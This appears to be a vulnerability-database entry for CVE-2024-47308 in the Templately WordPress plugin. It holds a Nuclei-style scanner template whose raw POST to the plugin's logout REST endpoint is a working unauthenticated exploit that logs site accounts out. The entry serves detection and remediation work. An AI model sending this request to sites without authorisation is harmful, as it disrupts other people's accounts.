CVE-2024-47308: Templately <= 3.1.2 - Broken Access Control

2025-12-02 Templately PoC Public

Description

Templately allow an attacker to logout users who signed in to their templately account, so you can sign in your templately account to exploit this vulnerability. Go to http://IP/wordpress/wp-admin/admin.php?page=templately&path=sign-in to sign in then logout.

PoC

id: CVE-2024-47308

info:
  name: Templately <= 3.1.2 - Broken Access Control
  author: popcorn94
  severity: medium
  description: |
    Templately allow an attacker to logout users who signed in to their templately account, so you can sign in your templately account to exploit this vulnerability. Go to http://IP/wordpress/wp-admin/admin.php?page=templately&path=sign-in to sign in then logout.
  impact: |
    Attackers can access restricted functionalities, potentially leading to unauthorized actions or data exposure.
  remediation: |
    Update to the latest version of Templately that addresses this issue.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/templately/templately-312-missing-authorization
    - https://patchstack.com/database/vulnerability/templately/wordpress-templately-plugin-3-1-2-broken-access-control-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
    cvss-score: 6.5
    cve-id: CVE-2024-47308
    cwe-id: CWE-862
    epss-score: 0.01744
    epss-percentile: 0.76629
    cpe: cpe:2.3:a:templately:templately:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    vendor: templately
    product: templately
    framework: wordpress
  tags: cve,cve2024,wpscan,wp-plugin,templately,wordpress,vkev,vuln

http:
  - raw:
      - |
        POST /wp-json/templately/v1/logout?_locale=user HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "status\":\"success","message\":\"Logged out.")'
        condition: and
# digest: 4a0a00473045022041690c91b056b13b54d9ba22486a62fde42323227fb5eb86793688197c3557a7022100b1d71c0c03e58b9d3467b7475fcd42e9cdff4616048cc53247fdcbb11ffb8ff3:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities